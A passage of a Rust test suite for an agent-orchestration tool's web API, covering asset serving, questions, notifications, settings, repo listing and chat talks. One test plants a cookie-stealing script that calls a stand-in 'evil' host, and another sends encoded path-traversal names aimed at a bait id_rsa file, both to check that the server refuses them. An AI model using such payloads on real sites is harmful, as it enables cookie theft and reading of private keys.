8302 assert_eq!(
8303 as_png.header("content-disposition"),
8304 None,
8305 "a raster image has no execution surface, so tapping it still shows it"
8306 );
8307 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8308 }
8309
8310 #[tokio::test]
8311 async fn an_html_asset_is_never_served_as_html() {
8312 let fx = Fixture::start().await;
8313 let id = panel(
8314 &fx,
8315 "<p>see the notes</p>",
8316 &[
8317 (
8318 "notes.html",
8319 b"<script>fetch('http://evil/'+document.cookie)</script>",
8320 ),
8321 ("hook.js", b"fetch('http://evil/')"),
8322 ("data.json", b"{}"),
8323 ("HEADLINE.TXT", b"plain"),
8324 ],
8325 );
8326
8327 for name in ["notes.html", "hook.js", "data.json"] {
8328 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8329 assert_eq!(res.status, 200, "{name}: {}", res.body);
8330 assert_eq!(
8335 res.header("content-type"),
8336 Some("application/octet-stream"),
8337 "{name} must not be a type the browser will execute or render"
8338 );
8339 }
8340 let txt = fx
8343 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8344 .await;
8345 assert_eq!(
8346 txt.header("content-type"),
8347 Some("text/plain; charset=utf-8")
8348 );
8349 }
8350
8351 #[tokio::test]
8352 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8353 let fx = Fixture::start().await;
8354 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8355 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8359
8360 for encoded in [
8367 "%2e%2e%2fid_rsa",
8368 "..%2fid_rsa",
8369 "..%5cid_rsa",
8370 "%2e%2e%5cid_rsa",
8371 "diff%00.svg",
8372 "..",
8373 ".hidden",
8374 "%2e%2e%2f%2e%2e%2fid_rsa",
8375 ] {
8376 let res = fx
8377 .get(&format!("/api/questions/{id}/asset/{encoded}"))
8378 .await;
8379 assert_eq!(
8380 res.status, 400,
8381 "`{encoded}` has to be refused by name, not looked up: {}",
8382 res.body
8383 );
8384 assert!(res.json()["error"].is_string(), "{}", res.body);
8385 }
8386
8387 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8393 let res = fx
8394 .get(&format!("/api/questions/{id}/asset/{literal}"))
8395 .await;
8396 assert_eq!(
8397 res.status, 404,
8398 "`{literal}` must not match the asset route at all: {}",
8399 res.body
8400 );
8401 }
8402 }
8403
8404 #[tokio::test]
8405 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8406 let fx = Fixture::start().await;
8407 let plain = ask(&fx, "Which backend?", &["SQLite"]);
8408 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8409
8410 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8414 assert_eq!(none.status, 404, "{}", none.body);
8415 assert!(none.json()["error"].is_string(), "{}", none.body);
8416 assert_eq!(
8417 fx.head(&format!("/api/questions/{plain}/panel"))
8418 .await
8419 .status,
8420 404,
8421 "the preflight is the only way the client can learn this"
8422 );
8423
8424 let missing = fx
8426 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8427 .await;
8428 assert_eq!(missing.status, 404, "{}", missing.body);
8429 assert!(missing.json()["error"].is_string(), "{}", missing.body);
8430
8431 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8433 assert_eq!(
8434 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8435 404
8436 );
8437 }
8438
8439 #[tokio::test]
8440 async fn a_run_with_an_open_question_reads_as_waiting() {
8441 let fx = Fixture::start().await;
8442 let run = "20260902-000000-beef".to_owned();
8443 write_run(&fx.runs(), &run, RunStatus::Implementing);
8444
8445 let before = fx.get("/api/runs").await.json();
8446 assert_eq!(before[0]["waiting"], false, "{before}");
8447
8448 let store = fx.questions();
8449 let mut q = Question::new(
8450 run.clone(),
8451 "implement".to_owned(),
8452 "impl-A".to_owned(),
8453 "Which backend?".to_owned(),
8454 String::new(),
8455 vec!["SQLite".to_owned()],
8456 );
8457 store.put(&mut q).expect("put");
8458
8459 let during = fx.get("/api/runs").await.json();
8460 assert_eq!(during[0]["waiting"], true, "{during}");
8461
8462 q.answer(Answer::Choice("SQLite".to_owned()))
8465 .expect("answer");
8466 store.put(&mut q).expect("put");
8467 let after = fx.get("/api/runs").await.json();
8468 assert_eq!(after[0]["waiting"], false, "{after}");
8469 }
8470
8471 #[tokio::test]
8472 async fn an_open_question_is_listed_and_counted_by_health() {
8473 let fx = Fixture::start().await;
8474 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8475
8476 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8477 let listed = fx.get("/api/questions").await.json();
8478 assert_eq!(listed.as_array().expect("array").len(), 1);
8479 assert_eq!(listed[0]["id"], id);
8480 assert_eq!(listed[0]["status"], "open");
8481 assert_eq!(listed[0]["choices"][1], "Redis");
8482 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8485 }
8486
8487 #[tokio::test]
8488 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8489 let fx = Fixture::start().await;
8490 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8491 let path = format!("/api/questions/{id}/answer");
8492
8493 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8494 assert_eq!(res.status, 200, "{}", res.body);
8495 let body = res.json();
8496 assert_eq!(body["status"], "answered");
8497 assert_eq!(body["answer"]["choice"], "Redis");
8498
8499 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8503 assert_eq!(again.status, 409, "{}", again.body);
8504 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8505 }
8506
8507 #[tokio::test]
8508 async fn saying_something_appends_a_turn_without_answering() {
8509 let fx = Fixture::start().await;
8510 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8511 let path = format!("/api/questions/{id}/say");
8512
8513 let res = fx
8514 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8515 .await;
8516 assert_eq!(res.status, 200, "{}", res.body);
8517 let body = res.json();
8518 assert_eq!(body["status"], "open", "talking back is not a decision");
8519 assert_eq!(body["answer"], Value::Null);
8520 assert_eq!(body["thread"][0]["who"], "operator");
8521 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8522 assert_eq!(body["waiting_on_agent"], true);
8523 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8525 }
8526
8527 #[tokio::test]
8528 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8529 let fx = Fixture::start().await;
8530 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8531
8532 let list = fx.get("/api/questions").await.json();
8533 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8534
8535 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8536 assert_eq!(res.status, 409, "{}", res.body);
8537 let q = fx.questions().get(&id).unwrap();
8538 assert!(q.status.open());
8539 assert!(q.consult.is_none());
8540 }
8541
8542 #[tokio::test]
8543 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8544 let fx = Fixture::start().await;
8545 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8546 let cfg = Config {
8547 agents: vec![crate::config::AgentSpec {
8548 id: "mock".to_owned(),
8549 kind: crate::config::AgentKind::Command,
8550 model: None,
8551 command: vec!["true".to_owned()],
8552 extra_args: Vec::new(),
8553 env: Default::default(),
8554 prompt_delivery: None,
8555 }],
8556 ..Config::default()
8557 };
8558 let talk = crate::talk::begin(
8559 &fx.talks(),
8560 &cfg,
8561 fx.home.path().to_path_buf(),
8562 Some("mock"),
8563 )
8564 .unwrap();
8565 let mut task = Task::new(
8566 "t".to_owned(),
8567 "Do it".to_owned(),
8568 PathBuf::from("/repo/magi"),
8569 Source::Agent {
8570 run: talk.id.clone(),
8571 node: crate::queue::CHAT_NODE.to_owned(),
8572 },
8573 );
8574 task.start("20260902-000000-beef".to_owned());
8575 fx.queue().put(&mut task).unwrap();
8576
8577 let list = fx.get("/api/questions").await.json();
8578 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8579 assert_eq!(
8580 list[0]["choices"],
8581 serde_json::json!(["SQLite", "Redis"]),
8582 "the hand-over is never a choice"
8583 );
8584 fx.questions()
8585 .update(&id, |q| {
8586 q.node = crate::land::APPROVAL_NODE.into();
8587 q.choices = vec!["merge".into(), "hold".into()];
8588 Ok(())
8589 })
8590 .unwrap();
8591 let list = fx.get("/api/questions").await.json();
8592 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8593 let _ = id;
8594 }
8595
8596 #[tokio::test]
8597 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8598 let fx = Fixture::start().await;
8599 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8600 fx.questions()
8601 .update(&id, |q| {
8602 q.node = crate::land::APPROVAL_NODE.into();
8603 q.choices = vec!["merge".into(), "hold".into()];
8604 Ok(())
8605 })
8606 .unwrap();
8607 let cfg = Config {
8608 agents: vec![crate::config::AgentSpec {
8609 id: "mock".to_owned(),
8610 kind: crate::config::AgentKind::Command,
8611 model: None,
8612 command: vec!["true".to_owned()],
8613 extra_args: Vec::new(),
8614 env: Default::default(),
8615 prompt_delivery: None,
8616 }],
8617 ..Config::default()
8618 };
8619 let repo = fx.home.path().join("chat-repo");
8621 std::fs::create_dir_all(&repo).unwrap();
8622 let toml = repo.join("magi.toml");
8623 std::fs::write(&toml, "this is = = not toml").unwrap();
8624 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8625 let mut task = Task::new(
8626 "t".to_owned(),
8627 "Do it".to_owned(),
8628 PathBuf::from("/repo/magi"),
8629 Source::Agent {
8630 run: talk.id.clone(),
8631 node: crate::queue::CHAT_NODE.to_owned(),
8632 },
8633 );
8634 task.start("20260902-000000-beef".to_owned());
8635 fx.queue().put(&mut task).unwrap();
8636
8637 let path = format!("/api/questions/{id}/consult");
8638 let res = fx.post(&path, None).await;
8639 assert!(res.status >= 400, "{}", res.body);
8640 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8641 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8642
8643 std::fs::write(&toml, "").unwrap();
8644 let res = fx.post(&path, None).await;
8645 assert_eq!(res.status, 202, "{}", res.body);
8646 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8647 let q = fx.questions().get(&id).unwrap();
8648 assert!(q.status.open());
8649 assert!(q.answer.is_none());
8650 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8651 }
8652
8653 #[tokio::test]
8654 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8655 let fx = Fixture::start().await;
8656 let store = fx.questions();
8657 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8658 assert_eq!(
8659 fx.get("/api/health").await.json()["questions_needs_owner"],
8660 1
8661 );
8662
8663 let res = fx
8669 .post(
8670 &format!("/api/questions/{id}/say"),
8671 Some(r#"{"body":"why not Postgres?"}"#),
8672 )
8673 .await;
8674 assert_eq!(res.status, 200, "{}", res.body);
8675 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8676 assert_eq!(
8677 fx.get("/api/health").await.json()["questions_needs_owner"],
8678 0,
8679 "waiting on the agent is not waiting on the owner"
8680 );
8681
8682 let mut q = store.get(&id).expect("get");
8686 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8687 .expect("reply");
8688 store.put(&mut q).expect("put");
8689 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8690 assert_eq!(
8691 fx.get("/api/health").await.json()["questions_needs_owner"],
8692 1,
8693 "the agent's reply is what should light the banner back up"
8694 );
8695 }
8696
8697 #[tokio::test]
8698 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8699 let fx = Fixture::start().await;
8700 let store = fx.questions();
8701
8702 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8703 let res = fx
8704 .post(
8705 &format!("/api/questions/{empty_id}/say"),
8706 Some(r#"{"body":" "}"#),
8707 )
8708 .await;
8709 assert_eq!(res.status, 400, "{}", res.body);
8710
8711 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8712 let mut answered = store.get(&answered_id).expect("get");
8713 answered
8714 .answer(Answer::Choice("SQLite".to_owned()))
8715 .expect("answer");
8716 store.put(&mut answered).expect("put");
8717 let res = fx
8718 .post(
8719 &format!("/api/questions/{answered_id}/say"),
8720 Some(r#"{"body":"still there?"}"#),
8721 )
8722 .await;
8723 assert_eq!(res.status, 409, "{}", res.body);
8724
8725 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8726 let mut abandoned = store.get(&abandoned_id).expect("get");
8727 abandoned.abandon("timed out");
8728 store.put(&mut abandoned).expect("put");
8729 let res = fx
8730 .post(
8731 &format!("/api/questions/{abandoned_id}/say"),
8732 Some(r#"{"body":"still there?"}"#),
8733 )
8734 .await;
8735 assert_eq!(res.status, 409, "{}", res.body);
8736 }
8737
8738 #[tokio::test]
8739 async fn an_answer_the_question_does_not_offer_is_refused() {
8740 let fx = Fixture::start().await;
8741 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8742 let path = format!("/api/questions/{id}/answer");
8743
8744 for body in [
8745 r#"{"choice":"Postgres"}"#,
8746 r#"{"text":"whatever you think"}"#,
8747 r#"{"choice":"Redis","text":"both"}"#,
8748 r#"{}"#,
8749 ] {
8750 let res = fx.post(&path, Some(body)).await;
8751 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8752 assert!(res.json()["error"].is_string(), "{}", res.body);
8753 }
8754 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8756 }
8757
8758 #[tokio::test]
8759 async fn a_free_text_question_takes_text_and_not_a_choice() {
8760 let fx = Fixture::start().await;
8761 let id = ask(&fx, "What should the flag be called?", &[]);
8762 let path = format!("/api/questions/{id}/answer");
8763
8764 assert_eq!(
8765 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8766 400
8767 );
8768 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8769 assert_eq!(res.status, 200, "{}", res.body);
8770 assert_eq!(res.json()["answer"]["text"], "--json");
8771 }
8772
8773 #[tokio::test]
8774 async fn an_unknown_question_is_a_json_404() {
8775 let fx = Fixture::start().await;
8776 let res = fx
8777 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8778 .await;
8779 assert_eq!(res.status, 404, "{}", res.body);
8780 assert!(res.json()["error"].is_string());
8781 }
8782
8783 #[tokio::test]
8784 async fn notifications_list_read_dismiss_and_health_agree() {
8785 let fx = Fixture::start().await;
8786 let store = Notices::at(fx.home.path().join("notifications"));
8787 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8788 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8789
8790 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8791 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8792
8793 let health = fx.get("/api/health").await.json();
8794 assert_eq!(health["notifications_unread"], 2);
8795 assert_ne!(
8796 health["notifications_rev"], rev0,
8797 "the badge must move live"
8798 );
8799
8800 let listed = fx.get("/api/notifications").await.json();
8801 assert_eq!(listed["unread"], 2);
8802 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8803 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8804
8805 let read = fx
8806 .post(&format!("/api/notifications/{}/read", a.id), None)
8807 .await;
8808 assert_eq!(read.status, 200, "{}", read.body);
8809 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8810
8811 let gone = fx
8812 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8813 .await;
8814 assert_eq!(gone.status, 200, "{}", gone.body);
8815 let listed = fx.get("/api/notifications").await.json();
8816 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8817 assert_eq!(listed["unread"], 0);
8818
8819 store.raise(Notice::info("x", "again")).unwrap();
8820 let all = fx.post("/api/notifications/read-all", None).await;
8821 assert_eq!(all.status, 200, "{}", all.body);
8822 assert_eq!(all.json()["marked"], 1);
8823 assert_eq!(
8824 fx.get("/api/health").await.json()["notifications_unread"],
8825 0
8826 );
8827
8828 let missing = fx.post("/api/notifications/nope/read", None).await;
8829 assert_eq!(missing.status, 404, "{}", missing.body);
8830 assert!(missing.json()["error"].is_string());
8831 }
8832
8833 #[tokio::test]
8840 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8841 let f = Fixture::start().await;
8842
8843 let res = f
8844 .post(
8845 "/api/queue",
8846 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8847 )
8848 .await;
8849
8850 assert_eq!(
8851 res.status, 405,
8852 "POST /api/queue must not be a route: {}",
8853 res.body
8854 );
8855 assert!(
8856 f.queue().list().is_empty(),
8857 "a task filed by a route that does not exist must not reach the disk"
8858 );
8859 assert_eq!(f.get("/api/queue").await.status, 200);
8862 }
8863
8864 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8866 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8867 .expect("checkout dir");
8868 }
8869
8870 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8872
8873 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8874 let tmp = TempDir::new().expect("tempdir");
8875 let repo = tmp.path().join("repo");
8876 std::fs::create_dir_all(&repo).expect("repo dir");
8877 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8878 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8879 if let Some(text) = machine_toml {
8880 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8881 std::fs::write(&machine, text).expect("machine toml");
8882 }
8883 (tmp, repo, machine)
8884 }
8885
8886 #[tokio::test]
8887 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8888 let (_tmp, repo, machine) =
8889 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8890 let f = Fixture::with_repo_and_machine(repo, machine).await;
8891 let res = f.get("/api/settings").await;
8892 assert_eq!(res.status, 200, "{}", res.body);
8893 let v = res.json();
8894 assert!(v["error"].is_null(), "{v}");
8895 let role = |k: &str| {
8896 v["roles"]
8897 .as_array()
8898 .and_then(|r| r.iter().find(|x| x["key"] == k))
8899 .cloned()
8900 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8901 };
8902 assert_eq!(role("judges")["source"], "machine");
8903 assert_eq!(role("judges")["editable"], true);
8904 assert_eq!(role("implementers")["source"], "default");
8905 let adv = role("advisors");
8906 assert_eq!(adv["fallback"], "judges");
8907 assert!(
8908 adv["seats"]
8909 .as_array()
8910 .is_some_and(|s| s.iter().all(|x| x == "b")),
8911 "{adv}"
8912 );
8913 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8914 assert_eq!(v["agents"][0]["source"], "repo");
8915 }
8916
8917 #[tokio::test]
8918 async fn settings_get_reports_a_config_that_does_not_parse() {
8919 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8920 let f = Fixture::with_repo_and_machine(repo, machine).await;
8921 let res = f.get("/api/settings").await;
8922 assert_eq!(res.status, 200, "{}", res.body);
8923 let v = res.json();
8924 assert!(v["error"]["message"].is_string(), "{v}");
8925 assert!(
8926 v["error"]["path"]
8927 .as_str()
8928 .is_some_and(|p| p.ends_with("magi.toml")),
8929 "{v}"
8930 );
8931 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8932 }
8933
8934 #[tokio::test]
8935 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8936 let (_tmp, repo, machine) = settings_dirs(
8937 SETTINGS_AGENTS,
8938 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8939 );
8940 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8941 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8942 let rev = f.get("/api/settings").await.json()["revision"]
8943 .as_str()
8944 .expect("revision")
8945 .to_owned();
8946 let body = serde_json::json!({
8947 "revision": rev,
8948 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8949 })
8950 .to_string();
8951 let res = f.put("/api/settings/roles", &body).await;
8952 assert_eq!(res.status, 200, "{}", res.body);
8953 let text = std::fs::read_to_string(&machine).expect("machine");
8954 assert_eq!(
8955 text,
8956 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8957 );
8958 assert_eq!(
8959 std::fs::read(repo.join("magi.toml")).expect("read"),
8960 repo_before
8961 );
8962 let again = f.get("/api/settings").await.json();
8963 let judges = again["roles"]
8964 .as_array()
8965 .expect("roles")
8966 .iter()
8967 .find(|r| r["key"] == "judges")
8968 .expect("judges")
8969 .clone();
8970 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8971 let stale = f.put("/api/settings/roles", &body).await;
8973 assert_eq!(stale.status, 409, "{}", stale.body);
8974 }
8975
8976 #[tokio::test]
8977 async fn settings_counts_are_reported_and_saved() {
8978 let (_tmp, repo, machine) = settings_dirs(
8979 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8980 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8981 );
8982 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8983 let v = f.get("/api/settings").await.json();
8984 let count = |v: &serde_json::Value, k: &str| {
8985 v["roles"]
8986 .as_array()
8987 .and_then(|r| r.iter().find(|x| x["key"] == k))
8988 .map(|x| x["count"].clone())
8989 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8990 };
8991 let imp = count(&v, "implementers");
8992 assert_eq!(imp["value"], 2);
8993 assert_eq!(imp["source"], "machine");
8994 assert_eq!(imp["file_key"], "candidates");
8995 assert_eq!(imp["roster_len"], 2);
8996 assert_eq!(imp["backups"], 0);
8997 assert_eq!(count(&v, "judges")["source"], "default");
8998 assert_eq!(count(&v, "advisors")["min"], 0);
8999 assert_eq!(count(&v, "reviewers")["editable"], false);
9000 assert!(
9001 count(&v, "reviewers")["locked_reason"]
9002 .as_str()
9003 .is_some_and(|m| m.contains("graph.reviewers"))
9004 );
9005 assert!(count(&v, "fixer").is_null());
9006 let rev = v["revision"].as_str().expect("revision").to_owned();
9007 let body = serde_json::json!({
9008 "revision": rev,
9009 "roles": { "judges": ["b"] },
9010 "counts": { "implementers": 1, "advisors": 0 }
9011 })
9012 .to_string();
9013 let res = f.put("/api/settings/roles", &body).await;
9014 assert_eq!(res.status, 200, "{}", res.body);
9015 let text = std::fs::read_to_string(&machine).expect("machine");
9016 assert_eq!(
9017 text,
9018 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9019 );
9020 let after = f.get("/api/settings").await.json();
9021 assert_eq!(count(&after, "implementers")["value"], 1);
9022 assert_eq!(count(&after, "implementers")["backups"], 1);
9023 assert_eq!(count(&after, "advisors")["value"], 0);
9024 let before = std::fs::read_to_string(&machine).expect("machine");
9025 let rev = after["revision"].as_str().expect("revision").to_owned();
9026 for counts in [
9027 serde_json::json!({ "judges": 0 }),
9028 serde_json::json!({ "judges": "x" }),
9029 serde_json::json!({ "judges": 2.5 }),
9030 serde_json::json!({ "judges": -1 }),
9031 serde_json::json!({ "reviewers": 3 }),
9032 serde_json::json!({ "bogus": 3 }),
9033 ] {
9034 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9035 let res = f.put("/api/settings/roles", &body).await;
9036 assert_eq!(res.status, 422, "{counts}: {}", res.body);
9037 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9038 }
9039 }
9040
9041 #[tokio::test]
9042 async fn settings_put_refuses_without_touching_the_file() {
9043 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
9044 let (_tmp, repo, machine) = settings_dirs(
9045 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
9046 Some(machine_text),
9047 );
9048 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9049 let rev = f.get("/api/settings").await.json()["revision"]
9050 .as_str()
9051 .expect("revision")
9052 .to_owned();
9053 for roles in [
9054 serde_json::json!({ "judges": ["nope"] }),
9055 serde_json::json!({ "reviewers": ["b"] }),
9056 serde_json::json!({ "bogus": ["a"] }),
9057 ] {
9058 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
9059 let res = f.put("/api/settings/roles", &body).await;
9060 assert_eq!(res.status, 422, "{roles}: {}", res.body);
9061 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
9062 assert_eq!(
9063 std::fs::read_to_string(&machine).expect("machine"),
9064 machine_text
9065 );
9066 }
9067 }
9068
9069 #[tokio::test]
9070 async fn repos_list_returns_name_and_path_for_every_configured_root() {
9071 let tmp = TempDir::new().expect("tempdir");
9072 let repo = tmp.path().join("repo");
9073 std::fs::create_dir_all(&repo).expect("repo dir");
9074 let root = tmp.path().join("root");
9075 make_checkout(&root, "github.com", "yukimemi", "magi");
9076 std::fs::write(
9077 repo.join("magi.toml"),
9078 format!(
9079 "[repos]\nroots = [{:?}]\n",
9080 root.to_string_lossy().into_owned()
9081 ),
9082 )
9083 .expect("write magi.toml");
9084
9085 let f = Fixture::with_repo(repo).await;
9086 let res = f.get("/api/repos").await;
9087 assert_eq!(res.status, 200, "{}", res.body);
9088 let list = res.json();
9089 let repos = list.as_array().expect("an array");
9090 assert_eq!(repos.len(), 1);
9091 assert_eq!(repos[0]["name"], "yukimemi/magi");
9092 assert!(
9093 repos[0]["path"]
9094 .as_str()
9095 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
9096 "{list}"
9097 );
9098 }
9099
9100 #[tokio::test]
9101 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
9102 let tmp = TempDir::new().expect("tempdir");
9103 let repo = tmp.path().join("repo");
9104 std::fs::create_dir_all(&repo).expect("repo dir");
9105 let root = tmp.path().join("root");
9106 make_checkout(&root, "github.com", "yukimemi", "magi");
9107 std::fs::write(
9108 repo.join("magi.toml"),
9109 format!(
9110 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
9111 root.to_string_lossy().into_owned()
9112 ),
9113 )
9114 .expect("write magi.toml");
9115
9116 let f = Fixture::with_repo(repo).await;
9117 let first = f.get("/api/repos").await;
9118 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
9119
9120 make_checkout(&root, "github.com", "yukimemi", "rvpm");
9123 let second = f.get("/api/repos").await;
9124 assert_eq!(
9125 second.json().as_array().map(Vec::len),
9126 Some(1),
9127 "a fresh cache must not rescan inside the TTL"
9128 );
9129
9130 let refreshed = f.get("/api/repos?refresh=1").await;
9131 assert_eq!(
9132 refreshed.json().as_array().map(Vec::len),
9133 Some(2),
9134 "an explicit refresh must rescan even inside the TTL"
9135 );
9136 }
9137
9138 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
9144
9145 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
9149 let tmp = TempDir::new().expect("tempdir");
9150 let repo = tmp.path().join("repo");
9151 std::fs::create_dir_all(&repo).expect("repo dir");
9152 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9153 let f = Fixture::with_repo(repo.clone()).await;
9154 (tmp, repo, f)
9155 }
9156
9157 #[tokio::test]
9158 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
9159 let (_tmp, _repo, f) = talk_fixture().await;
9160
9161 let opened = f.post("/api/talks", None).await;
9164 assert_eq!(opened.status, 201, "{}", opened.body);
9165 let body = opened.json();
9166 assert_eq!(body["status"], "open");
9167 assert_eq!(
9168 body["turns"].as_array().unwrap().len(),
9169 0,
9170 "opening takes no agent turn: there is nothing yet to answer"
9171 );
9172
9173 let also_opened = f.post("/api/talks", Some("{}")).await;
9175 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
9176
9177 let listed = f.get("/api/talks").await.json();
9178 assert_eq!(listed.as_array().unwrap().len(), 2);
9179 }
9180
9181 #[tokio::test]
9182 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
9183 let tmp = TempDir::new().expect("tempdir");
9184 let repo = tmp.path().join("repo");
9185 std::fs::create_dir_all(&repo).expect("repo dir");
9186 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
9187 std::fs::write(
9188 repo.join("magi.toml"),
9189 format!("{MOCK_AGENT_TOML}\n{second}"),
9190 )
9191 .expect("write magi.toml");
9192 let home = TempDir::new().expect("temp home");
9193 let talks = Talks::at(home.path().join("talks"));
9194 let ui = Arc::new(
9195 Ui::new(
9196 Queue::at(home.path().join("queue")),
9197 Questions::at(home.path().join("questions")),
9198 talks.clone(),
9199 home.path().join("runs"),
9200 home.path().to_path_buf(),
9201 repo.clone(),
9202 )
9203 .with_worktrees_root(home.path().join("wt")),
9204 );
9205 let cfg = config_for(&repo).await.expect("discover config");
9206 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9207 let id = talk.id.clone();
9208 let call = |agent: &str| {
9209 talk_agent(
9210 State(Arc::clone(&ui)),
9211 Path(id.clone()),
9212 Json(TalkAgent {
9213 agent: agent.to_owned(),
9214 }),
9215 )
